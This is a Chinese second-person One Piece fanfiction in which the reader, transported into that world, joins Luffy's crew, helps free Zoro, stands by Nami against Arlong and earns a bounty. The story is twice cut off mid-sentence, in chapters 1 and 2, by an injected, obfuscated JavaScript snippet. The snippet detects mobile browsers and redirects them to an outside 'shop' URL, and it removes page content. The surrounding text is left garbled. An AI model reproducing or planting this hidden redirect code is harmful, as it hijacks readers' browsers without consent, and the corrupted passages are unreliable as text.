《我想要快乐!【主麦团all向】》 1. 这个世界也将属于你 这个世界是属于海贼的世界。 天际一线,万里无云,晴空朗日,你恣意奔跑在沙地之上掠过光与影的边界,抬手猛地一抓! “终于,我的天啊,终于抓到你了!”你气喘吁吁,终于抓住一直飘荡的,属于蒙奇.D.路飞的草帽。身后传来少年极具辨识度的嗓音,他大喊你的名字,弹簧一样的手伸了过来把你整个抱住,你们相拥转圈,哈哈大笑。 “我们成为同伴吧!路飞!” “欸?我们不是已经成为伙伴了吗?” “……是哦!” 你是在两个月前来到这个世界,彼时你正拖着行李箱,背着旅行包打算来一场说走就走的旅行来庆祝你的高考结束,结果刚下地你的人生就天旋地转,身边的景象变得陌生,来往在你身边的路人对话用叽里咕噜你只能听懂零星半点的日语。顿时明了事情真相的你握着行李箱手柄的手下意识收紧。 …… 你深呼吸。 五分钟。 你花了五分钟,让自己冷静下来,并对回到家乡进行尝试,你尝试过原地向后撤步以图周围景象变回你熟悉的地方,失败。 你试图在内心高喊系统二字却不见回应,依靠外力回家,失败。 你看过自己手腕,白皙的皮肉将你的血脉覆盖,你没有外伤,你很健康,你感受着心脏的跳动,没有选择最下策。现在,你只好选择认命。 虽然和你预想的有偏差,但你这也算是另一种说走就走的旅行了。谁小时候没在生日的时候许愿想要穿越到自推在的二次元呢哈哈哈。 既来之则安之,老己。 你拖着行李箱在这里找地方暂住,找地方工作,同时,也在委托你的老板来教你说话。(只会写不会说怎么看怎么奇怪吧?) 一个月。你摸清楚了这里的状况,也大概掌握了这里的日常用语。知道这里是世界现象级IP海贼王的世界时,你忍不住发出爆了句粗口。 “damn。” 深色发色的女孩闻此看你,老板不赞同地朝你投来目光,你顿时尴尬地挠了挠后颈啊哈哈地把这个事儿略过去。 你的老板经营着一家不大不小的餐馆,作为一名单身母亲养育着一个女儿。女孩儿名叫丽加,是教你说话的主负责人,你写什么,她就会用日语告诉你你写的东西怎么说。 她的眼神如此明亮,不似这座小镇普遍的压抑恐惧心慌,可以看得出来她的母亲是如何苦心地栽培养育。你双手握拳,置于她的面前两侧,逗她“要不要来猜猜看我哪只手里有糖果?” 丽加努力思考,认真作出选择,你咧齿一笑,摊开双手。“都没有哦!” “欸!”她看着有点要哭的意思,你没多犹豫,手往裤兜一伸,就取出你旅游购入的牛轧糖,奶香的气息自包装拆开就开始勾人。 她吃过后开朗地笑起来,老板看向你,你笑意盈盈地也给她一颗,她有点受宠若惊。 “欸?” “试试看?” 她尝过你带来的甜,笑容如若丽加。 damn。 第二次爆粗,你献给了罗罗诺亚索隆。日常工作的时间里,蒙卡的儿子破门而入,与之同行的恶犬来到此地肆意妄为,它畅快地享用其他客人的炒饭,你默默吐槽这狗吃剩饭都这么开心?当然这件事你是不敢表露出来的。 贝鲁梅伯和其父蒙卡在这里可以统称为梦魇,贝鲁梅伯狗仗人势,欺人太甚,即使你知道他在未来会改善修行也不妨碍此刻众人对他的厌恶与愤怒。 你在此地即将度过第二个月,两个月里居民每逢见到他都会暗啧晦气。 可是无人敢反抗。 狗还在吃。 丽加突然挥舞着扫把扫开那扁头狗的嘴,它的主人似它一样乱吠。 你的心脏刹那骤停,勇敢不是冲动啊,丽加。 你稳住睁大瞳孔的小孩,颇有名声的赏金猎人挡在你俩身前,拇指托刀出鞘,仗势欺人的小屁孩双腿打颤却强装冷静,开口和年不过二十的少年进行不公平的谈判。而出行已久的少年他居然啊了一声答应他的要求,只要那个混蛋同意放过你们。 他是笨蛋吗?你的心跳很响,扶着丽加的手隐隐颤抖。你深呼吸,注视着他被海军捆束他的双手,没收他的武士刀,将他拘捕入牢,直到海军浩浩荡荡地离开。 吸气。 呼气。 你用力闭眼,强迫着自己连带怀中的小孩儿转过身,压着那颗不甘跳动着的心脏回归正常营业。店长感激地朝你投来一瞥。 你回以微笑。 你的喉咙在你的奔跑过程里好像也要随着你怀中的东西一样颠出来,这些天你都在不留余力地打探海军巡逻换班的空隙是什么时间,在了解过后你就开始确定安全的去程和回程。一切准备就绪后你才开始进行你的谋划,运动鞋在晚上跑步是没有声音的,你如此庆幸着自己当时为了跑八百这种死东西买了你觉得最舒服的鞋才让你在这些体力活里勉强坚持下来。 你就着夜色来到罗罗诺亚索隆的身边,彼时他正打着瞌睡,你悄悄拍打他的肩膀,他猛地睁眼,目光凶猛,似虎似豹。 认出你时,他的眉毛瞬间就往下压,声线也低沉地叫你滚。你没理他的恶言恶语,将怀里的面包直接塞他嘴里,说闭嘴,吃饭。罗罗诺亚索隆被面包捂得只能发出几声呜咽,但看着你的神情却充满审视。你说我是你前几天救下的伙计,这次来权当报恩,总之,我没有下毒,这个时间也没海军来,你安心吃吧。 他三两下啃光那份面包,而你的话甚至还没说完。 然后,他的肚子又响了几声。 …… 你俩都有些尴尬。你看着只剩下零星面包碎的掌心有些垂汗,心道天啊差点忘记了这里的人饭量惊人。 “我只剩下水了。” 你告诉他,他啧了一声说既然吃完了你就赶紧回去。 缺水七天人就会死。 你还是给他喂了水,彼时的少年像小憩的野兽,安静地蛰伏以待给人最后一击,但他实在太乖,让你在这个世界长久以来紧绷的心态开始有几分松懈。你问他,“难道你就相信那个纨绔子弟会遵守约定吗?” 得到补给之后他比之前要放松些许,他眼睛一差不差地瞧你,你被盯得喉咙发紧,他才道,“我离开的话,你们都会遭殃吧。” “……”你错开他的视线。 你听见一声叹息。“别担心我的事儿了,我会解决的,安心吧。”他如此说道。 你踏着夜色而归。 在见到罗罗诺亚索隆的那一刻你就知道这一片地区头顶的阴霾即将散去,可在此之前,你感受着街道上的行人越发的紧绷。大家避免谈论罗罗诺亚索隆,怕被海军抓住遭殃,可他做了错事吗? 在餐馆的你照常工作,湿淋淋的抹布在桌面留下一滩水渍。招致罗罗诺亚索隆出事的母女俩自那件事起就心有戚戚,你的老板笑颜牵强,不见曾经。 你完成一日工作,躺在不算柔软的床铺之上,手上无聊地把玩一直存储在你行李内的玩偶。 它算是你睡觉的阿贝贝,无论是过去还是现在,你都习惯在夜晚伴它入眠。 曾经是为了安神,现在,半是为了思乡吧? 你不喜欢这里。 你开启旅行的目的是逃离,你渴望自由的空气,你从未想过要回到压抑的地方中去。你讨厌沉重的东西,更讨厌无论做什么都需要有所顾忌的生活。曾经那块压在你身上的巨石是高考,现在却变成具象的俩人和阶级。 你抚摸布偶毛茸茸的脸,在异舞的摩挲声里翻身蜷缩。被子起伏出你躺倒的形状。 你都穿越了,为什么还要忍受这种东西? 你追求自由,你追求快乐。 你要求继续这场已经无法归乡的旅途。 你每夜去找索隆,带着怀里的面包和水,和他勉强算是熟悉了吧。他看着凶,脾气却不错,几乎是默认每晚你都会来这儿,你喂过他就走,交流甚少。 不过因为你每次带来的物资都有限且无法满足这怪物一样的食量,所以有一次他吃完你递给他的面包,你因为正在发呆没意识到面包消灭得如此之快,你的掌心碰到他的嘴唇,然后感到了湿意,痒意……好痛! what! 你差点原地起跳,转过头看他的时候他和你一样震惊,我的天啊怎么会有两个人同时发呆的? 我的天啊这家伙不会把你当面包啃了吧? 我的天啊! 你把手从他的嘴里收回来,下意识啃咬没收力的男人即使松口很快也在你手上留下了明显的齿痕。 你很沉默,你是没有想过给人补给还能被受救助的人啃一口的。 “……抱歉。”字句入耳,你冷静地把口水抹他胸口。“扯平了。” 你数着日子,直到路飞上岸,大概是索隆被抓起来的第二十一天。 丽加怀里揣着东西急匆匆地出门,老板担心她出什么事情特意嘱咐你跟过去看看,你印象里模糊记得路飞和克比也是这个时间段到来的,等下,那不就是说今天也是丽加的受难日?小孩儿很容易出事的啊! 你急急忙忙地解开围裙往外走去,直到来到海军基地,熟悉的爬梯映入你的眼前,这不是你之前藏起来的工具吗?丽加这小孩。 你急匆匆地爬上去,甚至没和趴在旁边的草帽小子和粉头发少年打招呼,往沙地一跃来了个漂亮的空翻脚踏实地。 忽略掉身后来自路飞的叫好,你牵起丽加的手说海军很快就来了,我们得赶紧爬回去。丽加却看着索隆目光期待,你注意到她手里的饭团,联想起今天在厨房工作时少了一罐的砂糖。行吧,索隆,安心地吃吧。 你当机立断,捏走一个饭团就把它往索隆的嘴里塞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538333|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他被你这粗暴的举措弄得唔唔地发声,但你手上未消的齿痕就在他眼下,他停下来,尚算乖巧的把饭团咽了下去。然后他让你们赶紧滚蛋,你凶他,“对小孩凶什么凶?” “那群家伙要来了。” 他压着嗓子回你,你瞳孔地震,正打算抱起丽加走人。但贝鲁梅伯的声音堪称丧钟之响,你抱紧怀里的丽加将她护在身后,面容冷峻地看着大跨步前来的臭小鬼。他双手叉腰自以为是地耍酷,知道丽加是来给索隆送东西的时候就一把抢过仅剩的那颗饭团毫不犹豫地啃了大半,这人将他人的心意弃如敝履,大叫着难吃,甜死人了的东西还想着送人。 这个人渣。 你强忍着怒火没对他出拳,那些挑衅加威胁的话一直让你的手在发抖,他的废话说完了,就命令手底下的人把你们丢出墙外,特意叮嘱,分别丢。 全然不顾人命。 你和丽加是同一时间被救起,草帽少年身上的气息是草木和阳光。既然离开了海军基地,这里不宜久留,你带着丽加找了个地方躲起来,直到看到路飞和克比的身影,你们才出来迎接他们。 丽加坐在木桶之上,她人小小的,语言组织却很清晰,比起你这个半文盲,很显然作为原住民的她更合适作解说把事情告诉他们。(其实你也听得半懂不懂。) “所以,你是想让我们救走罗罗诺亚索隆,对吧?”路飞笑容洋溢,裂开的唇齿可见健康的粉色牙龈,他摸过丽加的脑袋,其回应如同在说一件理所当然的事情,“可以啊,反正我本来就打算让他来当我的同伴。” 路飞的行动很快,上午绑架了贝鲁梅伯去取索隆的三把刀,下午就到达场地,你也在场,见证他们之间的交火,即使路飞和克比没有邀请过你来。 蒙卡被激怒,蒙卡被围殴,在快要倒下之际贝鲁梅伯举起手枪对着你。冰冷枪头正对你的太阳穴,站在你旁边的克比很是紧张,你不否认此刻的自己也是如此,只是比起这些……你看着他打颤的双腿,情不自禁,嗤笑一声。“脚都站不稳的小鬼,还想着举枪威胁我吗?” 挑衅敌人不是一件聪明人该干的事。 可你为什么要怕他呢? 狐假虎威的人的气焰全都来自于他依附之人,当他依附的人没办法护住他时,他只会担惊、受怕。这个时候的贝鲁梅伯很好对付,只要表现得更加强硬,动作展露得比他更加果决。 白光闪过,蒙卡被击倒在地,你的夺枪行动也顺利进行。在场的人都把目光看向你,你一步一步向贝鲁梅伯走近,那曾经对准你的枪头改为对准他的脑袋,路飞和索隆就站在你的不远处。贝鲁梅伯狼狈地往后挪动,泪眼汪汪,大喊着你不要过来,你不要过来啊之类的话。 克比表现得更加紧张了,他的肩膀耸动,死死地盯着你,而你—— 呵。 你把枪丢掉了。 你转移视线,和路飞索隆对视。 “呐,路飞,你的团队还缺人吗?把我也加进去吧,我不会成为你们的累赘。” “可以啊。”他爽快地答应了。 路飞和索隆的食量非常惊人,堆积如山的肉食还有炒饭不过眨眼之间就没入了这俩的肚子里。这顿饭有一大半是由你来出力烹饪,你的手经由此役快抡得握不紧东西。老板看你幸苦,摸了摸你的脑袋说去休息吧。你这才得以偷闲来到柜台就着他俩吃饭的样子下饭,为了感谢他们救了这座城市,你的老板非常大方,将供餐馆营业几天的存货全部塞进了他们的肚子里。你见此景一度有些担忧你们未来的经费到底要花多少在喂饱这俩吃货的嘴里。 索隆放下碗筷,大喊一句终于吃饱了。你感叹道喂饱你们可真不容易,路飞看你挑到旁边的肉食,极为顺手的伸手去拿,你用筷子敲过他的手,“在吃别人东西之前得问过当事人才行啊,少年。” 他哦了一声表现得很乖,按照你的意思问你。你看了眼在你左边堆了半盘的肉,无可无不可地点头,拿起叉子就近喂了过去。“味道不错吧?” 路飞唔唔地附和,你咧齿一笑“当然,毕竟是我做的。” 路飞和海军对峙的情形你没有参与,当时你在洗盘子(毕竟是最后一天工作日了,你想着在最后一天也给她们剩下点事儿比较好。)知道你要离开的丽加偷摸地溜进厨房,看着你忙碌的身影,张嘴和你告别之前率先留下的是眼泪,它们扑簌簌地掉。 老板也在此时掀开帘子进来看你,她们母女俩真像啊,临告别前的动作都是一模一样的,她抿着嘴问你,“想好了吗?” “我想好了哦,”你把最后一个盘子放好,解开围裙。 你们对视,你伸手拥抱她们,感受滚烫的眼泪浸湿你的衣襟,你说,“我本来就是来旅游的呀。现在只是重新启程了而已。” 外面的天气阳光正好,风拂过大地,带起一顶草帽。 这个世界,将是属于你的世界。 2. 生命生生不息 你、路飞、索隆,三人成行,必有他们师焉。路飞乘着的小船很小,装不了太多东西,即使你有意学习收纳大师把所有能塞的东西塞进去,你看着快要撑爆的船最终决定算了。 你们走的时候丽加和老板自餐馆跑来和你遥遥告别,你向他们挥手,直到再也不见他们人影。 和他们俩旅行的好处是人身安全得以保障,和他们俩旅行的坏处就是吃的隔天就无。 你就说这俩人的胃能把人吃垮,为了保证这几天的航行不会出现吃上顿没下顿的情况,你三令五申,告诉这俩要省着点吃东西。 结果呢,才第二天,你看着空荡荡的背包心想你真傻,怎么会觉得就这些东西能填饱你们三个人的胃。 然后就是,半倚着船沿睡觉简直是要了你的狗命,白天醒来腰酸背痛,半夜三更还得提防路飞,他有点梦游的习惯,某次夜里你是被咬得痛醒,睁开眼去看,就见罪魁祸首一脸幸福地在你的手腕啃啃咬咬说今天的肉好少好软。你当即给了对方一个爆栗,然后他松口继续睡。哈哈,这下俩个都咬过你了。你是什么储备粮吗?某次你实在受不了,摇醒路飞给他指着索隆说怎么看都是他更能饱肚子吧?晚上怎么就咬你呢,路飞闻言认真看了会儿索隆,说自己是不会吃掉同伴的。 你:…… 被打得鼻青脸肿的路飞乖巧地蹲坐和你道歉,半路被吵醒的索隆哈了一声对你的发言表示极度不满,你说你有意见吗? 他:……没有。 值得庆幸的是这种苦日子并没有持续太久,路飞的运气经由你的鉴定属于是相当良好的一类。你们坐着小船在海上航行的第五天就碰到了一只怪鸟,怪鸟叼着你们船长的脑袋往某个方向飞,你和索隆怨气深重,当机立断,俩个木浆快被你们抡出花来。 好运气在这天一直眷顾着你们三,没划多久你们就遇到了倒霉的巴基海盗团的船员,他们在索隆的敲打下变得老实顺带接过了苦力让你们得以解放双手。你们去接路飞,然后获得找到航海士的大好消息,你们与娜美结伴,航行到狙击手乌索普的岛上。 黄金梅利号得手,而你终于获得一个正常的睡眠,可喜可贺,可喜可贺。 你呆在厨房,旁边灶上煲着大锅你爱喝家乡汤,锅里炒着番茄鸡蛋还有糖醋排骨,另外烹铐的是路飞最爱吃的棒骨肉,可雅友情赞助的食材非常之丰富,这些天的航行无惧饥饿,你也能做点自己爱吃的家乡菜。(鬼知道家政课对你而言已经是很久之前的事儿了,重拾厨艺那会儿老板看你的眼神你至今难忘啊岂可休。) 虽然不是厨师,但看着一群人围坐餐桌满足进食的样子你也十分高兴,只是吧。 “我们得赶紧找个厨师哦。” 一群人放下碗筷,路飞歪头,“为什么?” 你举起为了填满他的胃而做饭做到颤抖的手,做完饭你的力气所剩无几,你的视线瞟向娜美,娜美心领神会,友情赞助,给了路飞一个爆栗。 “我连给你一锤都要委托娜美才行,这就是理由。” “这是因为你太弱了啊。”这是索隆。 “路飞,把他的那份烤肉也全吃掉!”这是你。 索隆:喂! 乌索普很是从心,全程吃饭不敢多嘴。 就着你的祈祷,黄金梅利号赶在你因为长期做饭而就近罢工的时候来到海上餐厅。说实话你们已经习惯于路飞的闯祸能力,但没想到他这么能闯祸。给人家餐厅直接轰出一个破洞,还好巧不巧砸在这个餐厅的主厨身上。 该说他实在是倒霉到家了呢,还是好运过头了呢? 你们就近下船进入巴拉蒂,话说海上餐厅,你印象里看过的旅游杂志就写过你的家乡也有一个十分出名的船餐馆,真的开在海面上哦,就是没吃过里面的东西。明明你最初的旅行目的之一就是为了去体验一把它的。 来接待你们的是金发圈圈眉,身姿修长体态良好,看到你和娜美的时候眼冒爱心一副陷入爱河的模样。娜美毫不犹豫,依凭他亲自递给你们的把柄,开始提要求让他提供super级别的服务。作为享受好处的共犯,你尝试性地报了几个家乡的蔡名,没想到的是他真做出来了。 你:我的天啊! 你激动地握住他的手,说“你的名字是叫山治是吗?来我们的船上吧!我们正需要你这样的优秀厨师,优秀船员!” 山治因为你的接近而浑身扭动形似面条,“啊,这就是爱情吗?我会好好考虑的哦。”他一脸陶醉。 你笑着伸手捧过他脸对他的脸上下摸摸,“乖孩子乖孩子。” “完全是为了摆脱做饭啊。”乌索普在旁边默默吐槽,索隆你没看,但是坐在你旁边的娜美正享受着山治带来的红酒。 说来你和娜美关系比船上其他男生要好很多的一大部分原因在于你的性别,同为女性,你们天然拥有着更多共同语言(包括但不限于吐槽男生,聊一下喜欢的类型,以及平时用的护肤品之欸之类的)。 不过因为你的母语并非日语的关系,日常生活中还是需要有她的照顾,她是你继丽加之后的语言老师和识字老师(你只会英语不会日语啊!)。 你每日都会写一篇阅读理解然后交给娜美,娜美看着你的文字忍不住感叹怎么会有人字写得漂亮但是内容狗屁不通的啊。 你:哈哈,这个嘛…… 感谢学校的栽培? 娜美自见过阿龙的通缉令后状态就一直不对劲,就连你在她身后和她看着一张通缉令都是后知后觉,话说你的存在感很诡异啊,时有时无的。 察觉到你在看后她立刻转身把通缉令藏在身后,和你打着哈哈转移话题。你静静地看着她,把她看得发毛你才说,“呐,娜美。有什么问题都可以和大家说出来哦,我们会和你一起解决的,你知道的吧?” 克利克到来得声势浩大,索隆和乌索普为此下船去看看怎么回事,船上就留下了你、娜美,强尼和约瑟夫。 娜美巧施美人计将俩个笨蛋男人赶了下去。你就站在旁边,冷静地对娜美说如果你真的跳海的话会死掉的哦。 即使你的游泳技术还行,但是那可是大海啊,无敌深水区啊。你看着她道,“娜美,难道你舍得我去死吗?” 她大睁着眼睛看你说什么死不死的,路飞那里可是出事了,她还在试图让你离开。可你却悍然不动,只是强调,“我很容易死掉的哦,说不定你一棍子打过来我就会因为脾脏中伤而死翘翘哦。” 娜美又在发抖了,如同一只拱起腰背炸毛的猫,她大喊,“那你就赶紧下去啊!我不会做伤害你的事!行了吧!” 她指着黄金梅利号挂着的小船对你怒道,现在,下去。 你还是不作行动,眼睑半阖,你知道自己现在的样子像是在审视她,可是那又怎样呢?“娜美,我不会走的。” “你是想去找阿龙吗?虽然我不知道你想做什么,但是作为同伴,我可以帮你的。”你执着地站在原地,如何都不肯走的态度显然激怒了她,她浑身发抖,她怒喊你的名字,甚至扑过来压倒你,高高挥起的拳头却在你主动的拥抱之下化作几声压抑到机制的呜咽。 娜美眼泪滚烫,饱含痛苦与愤怒,你轻轻地叹息,抬手拍抚她的背,选择承接她的痛苦。 “让我作为你的同伴离开吧,我不是路飞那俩个笨蛋啊,我可以帮助你。” “不要赶我走,娜美。” 她带你走了。 你vs娜美。 你win。 船启航的时候你很有闲心,倚在船沿看遥望远方的娜美,“你说他们会不会误以为我俩是共犯同谋?就这样一声不吭地走了,还打劫完他们所有的财宝。” 娜美随手敲了一下你的额头,对你道这不已经是很明显的事实了吗?从你要求跟着她走之后,你就已经是她的共犯了啊。 你窃窃地笑,“那样的话他们一定会追上来的,像赶不走的男鬼一样。” “那群白痴,路都不认识吧?” 到达目的地后你被娜美安置在她的家里,她双手撑在你的肩膀上低声嘱咐你不要乱跑,就在这儿待着看家,这就是对她最大的帮助。 这不是还没完全信任你吗? 但你没有反驳她,只是安静坐在桌子上,乖巧地点头,一副什么都听她的样式。她看着你这样总觉得不对,沉默了半晌,还是突然打开门看着你俩对峙的诺奇高打破了这凝滞的空气。你看着娜美委托自己的姐姐照看你,让你不要随意乱跑,她现在要去处理阿龙的事情,很快就回来。 其他的事情到时候再说。 你看着她匆匆离去,只剩下你和拥有着漂亮短卷发的女人,你俩互看彼此。诺奇高颇为不自在,试探着开口,“你饿吗?” 你在娜美家享用了非常美味的橘子果酱蛋包饭。 你陪着诺奇高一起洗碗,手时不时会互相碰到,温暖触碰寒凉,似乎气氛正好,她开口道,“娜美她,很少带朋友到这里。” “我猜到了。” 毕竟是戒备心很强的猫嘛。 询问你和娜美之间的事。你嗯的思考了一下,如实地告诉她娜美在黄金梅利号上的状况,你说,“事实上,除了我以外,还有另外五个是她的朋友。只是她还不肯完全承认,也不肯完全地相信我们这群同伴。” 诺奇高闻言停下手上的动作,水流朝下俯冲的哗哗声还在响,“同伴啊……” 她告诉你关于娜美的事情。 吃完饭后诺奇高因为有事儿要出外,但是你的事又没办法让她完全安心。这个时候阿健先生就来得十分及时,你被委托给他来照顾,你依稀记得阿健先生其实还私藏了点军火武器,就问他说,“你有枪吗?” 阿健先生:啊? 在这里过的时间真快,你刚从阿健先生那里听说索隆被抓的事情,就看到诺奇高带着乌索普来到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538334|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件小屋。彼时你正在擦拭手中的手枪,见到他来突然就恶趣味来了,你端起一副高深莫测的表情,对着诺奇高道,“怎么才把他带过来?” 诺奇高没搞明白你的名堂,而乌索普则在进行毫无意义的尖叫,他举起手指指着你,然后又看向你手里的枪,他迅速地端正表情,双腿打颤,对你进行没什么的威胁,“我可是有八千个部下的哦,你要是敢用枪伤害我!他们全都不会放过你的!” 你忍不住噗嗤地笑出声,对地上真的打出一枪。 砰。 蹦出一朵花。 “我们同行这么久,你难道还不信任我吗?我是不会伤害同伴的。” 你没告诉乌索普娜美具体的事情,你相信这些都需要娜美自己决定,不是你这个外人该说的。你们小聚一会儿,他坚持要去找娜美一趟,你拒绝跟随,说你还有事要在这里处理,让他想做什么就做什么吧。 娜美跑了回来,在你的面前狠狠地吐槽了一把索隆还有乌索普干的蠢事,你听闻哈哈大笑又牵过她的手小心地抚过缠在上面的绷带,你低声道,“爱惜点自己的身体啊,娜美。” “痛吗?” 她当然地说没事,已经不痛了。又重复地说一遍真是的,如果不是因为索隆和乌索普太蠢,她才不会受这些伤呢。你低低沉沉地笑,附和她说确实,他们真是一群蠢货。 你托起她的手,弯低身体。 极为柔软温柔的触感印在她的手上。 娜美的手下意识地抖了一下。 这时不速之客来了,你们出门迎接,来者长着令人生厌的鼠面,他自称为来这里搜查赃款的海军上校,你懒得记这种三流角色的名字,只默默地将手搭在腰侧的手枪。娜美站在你的身前,几乎把你遮挡住了大半,机会只有一次啊。 你深呼吸。 他开始瞎指挥,海军像一群蚂蚁,行动迅速、敏捷地四处搜查与破坏。娜美崩溃了,被阿龙欺压多年而拉紧的弦此刻终于绷断,她掏出三节棍合到一起,对那群破坏她家园的海军大打出手。 凄厉的尖叫撕扯着你的耳膜,你放轻脚步,收敛存在感,那鼠面的上校与你的距离越来越近。 你会成功吗? 你不知道。 鼠面佬开始完全沉浸在收集赃款的喜悦,你没有犹豫,说时迟那时快,你不顾一切地俯冲,猛地一跃,一手屈肘而过死死地拢着这男人的脖子,双腿扣紧锁住他的腰腹,而你手里的枪,那个冰冷的物体正正好好地抵在他的太阳穴。 海军众惊,鼠面人又惊又惧,你发出桀桀的笑声,语调舒缓,“乱动的话,你会死的吧,上校。” 娜美也惊了,她迅速地握紧木棍站到你的身后和来到的阿健先生还有诺奇高对你形成包围圈,避免其他人的轻举妄动。 一个人的身上怎么能存在这么多悲剧呢? 一群本应正义的存在又为什么要助纣为虐呢? 鼠面人浑身打颤,他强装冷静,对你说别冲动,有什么话好好说。 你神情镇定,掐着他脖子的手比杀了十年鱼的高x强还要稳(感谢黄金梅利号的试炼,感谢你当了三四个月的厨子经历),“把娜美的东西全都放回原位。” 他迟疑,显出不愿,你面无表情,扣实扳机,箍着他脖子的手也在默默用力。 “上校!”那群海军喊道。 “我不喜欢把话说第二遍。” 他咬牙切齿,却实在没办法赌你不会要了他的命。这种贪慕利益的家伙大多都是群鼠雀之辈,一旦危及性命,其他都得往边站。 他转过身,命令那群海军把东西老老实实地放回,你们正对娜美,这下方便了,你用眼神示意娜美他们赶紧去搬救兵,而巧的是路飞刚好过来。见到你他先是极其开朗地喊过一声你的名字。 完全没有你们带着他的船跑路的意识啊,等一下,噢,他没想过放弃你们这群同伴,所以那些都无所谓。 嘛咦。 他来得刚刚好。 你朝他大喊,“路飞!这群家伙想要伤害娜美!赶紧把他们都给揍飞啊!” 路飞没有回话,他看向娜美,娜美手握长棍与那些海军对峙,你们都在他们的包围圈里。那一句原本应该像在卡在喉咙里的痰一样难言的求救在此时此刻,自然而然,娜美带着往常那样的口吻说,“路飞,帮帮我们!” 这时他笑了。 你看着被扫飞的众人,终于卸力,长期紧绷的肌肉此刻后知后觉地发酸,试图偷袭你的海军上校□□脆利落地打翻。 他和他的下属们飞得可真是远啊。 你终于松了口气。在他们面前耍了一把枪,看向娜美绽开笑颜。 “已经没事了,娜美。” 你被温软结结实实地扑倒,扬起一片尘沙。 你:他们短期内应该是不会回来了,我们赶紧去把阿龙收拾了吧。 路飞:OS! 3. 想家的一天 【202x年x月x日,晴。 156天。 在这座岛上凝聚的愤怒里,路飞为所有人打败邪恶的鱼人阿龙,这为期十年的恐怖统治终于结束。 我看着毁坏倒塌的阿龙乐园,心情前所未有的舒畅,娜美的手死死扣着我的,路飞交给我们的帽子被我们护在怀里,沾染着我们的汗水还有泪水。 值得高兴的是,娜美流下的眼泪不再是痛苦了。 —— 这次事件使我对于这个世界的黑暗再度有了深刻的认知,正义不是正义,邪恶不是邪恶,我猜测在未来的航程里这种事情将不是少数。 自问,我后悔坐上这艘贼船了吗? 没有。】 【202x年x月x日,晴。 157天。 可可利亚岛展开宴会。我们船的三主力恢复能力极为惊人,昨天还躺在病床上不省人事,今天就活蹦乱跳跑外边喝酒。 我废了不少劲儿才抓到他。 “好痛!” “索隆,我说过什么?” 我把酒瓶从索隆的手里拿走,他脑袋上顶着新鲜出炉的大包,我弯下腰用手指戳他蹭被砖头砸过的额头,他啧了一声扭头躲我。这人可真是别扭。 “这种小伤这几天早好了。”他这么说。 “哦?” 我看着索隆,他的眉毛弹跳着,看得出来他在忍耐。在教训人时,我总会学习我们亲爱的老班(班主任)的表情,不要说话,不要移开视线,只要对方觉得对你有愧或心虚,那个人总会在这长久的对峙里甘拜下风。我猜想他一定在琢磨着下次绝对不会被我抓住,但索隆还是乖乖回答我了,“……伤好之前不准喝酒。” 哈哈,计划通。 我心情很好,奖励摸他脑袋一把,故意对他说了句“看来你还记得我说过什么,good boy。” 索隆:喂!你把我当狗吗?! 我:原来你觉得自己像狗? 索隆:你这家伙!】 【202x年x月x日晴~%?…,# *''☆&℃$︿★?】 “欸!!!” 你被船上的剧烈欢呼声震得连字都打不好了,你看了眼只写到开头的日记,叹息一声选择关闭笔电出去逛逛,穿越大神对你唯一的仁慈大概就是你宝贝的电子三件套(手机、平板、笔电)无论怎么用都不会少电和它们居然摆脱了怕水的弱点。你给不存在的穿越大神烧过一炷香,说真是谢谢他的仁慈,如果什么时候能…… 你把那句话咽回了肚子里,打开门后你碰到的第一个人就是索隆,绿发的剑客闭着眼睛正在小憩,听到你出来时睁开眼和你点过头就算打过招呼了,你嗯了一声熟稔地走过去伸手摸过他的脑袋(手感意外地还不错),然后听见你熟悉的乍舌声。 对于你这种互动他还是有过抗议的,但抗议无效。 索隆vs你。 你十局十胜。 乌索普和山治在聊关于上悬赏令的事情,山治看到你的时候容光焕发眼冒爱心,你对此习以为常也摸摸他的脑袋说好孩子好孩子。乌索普直白地吐槽山治完全被驯服了啊,你看了眼他也给他的脑袋摸了几把,不过是隔着帽子摸的,他很少不戴帽子。 “你也是好孩子哦,乌索普。” 索隆看着你熟练的举措心道你这家伙果然把船上的人都当作狗吗? 你莫名打了个喷嚏然后转移视线看向索隆,“你是不是在心里想我的坏话?” 索隆:哈?这是什么奇怪的猜测。 虽然不算猜错。 另一个和你互动的是路飞,他像个永远都长不大的孩子,满腔的热血还有永不破灭的梦想。他伸长手臂抓过船板,刷的一下蹦达到你的面前举起一张截有他大脸的通缉令到你面前让你好好欣赏,说他现在被通缉了哦尼嘻嘻嘻嘻嘻,悬赏金是三千万! 你淡定接过将通缉令扫了一遍,喉间闷出一声笑,你也给了他一把狠狠的奖励——手在他的脑袋上狠狠摩擦,于是他本来还算顺滑的头发瞬间被你揉乱,路飞把头发捋回去倒是也不介意你的摸头,你回他说“大头照不错啊路飞。” 然后又是一阵惊叫,你和路飞同时往娜美那边看。娜美跑过来举着另一份通缉令给你,你的大头照和路飞一样清晰,不过拍的样子是你冷脸时的样子,话说他们是什么时候拍的?你完全没有自己被拍的印象。 这个悬赏令顾及是那个鼠面佬给你也整的,无论生死。理由是竟敢要挟海军要海军上校的命,你几乎可以想象他是如何费劲才能让你因此被悬赏,就连赏金——你数了数,哦,才三十万贝利。是这蠢货的私房钱吧? 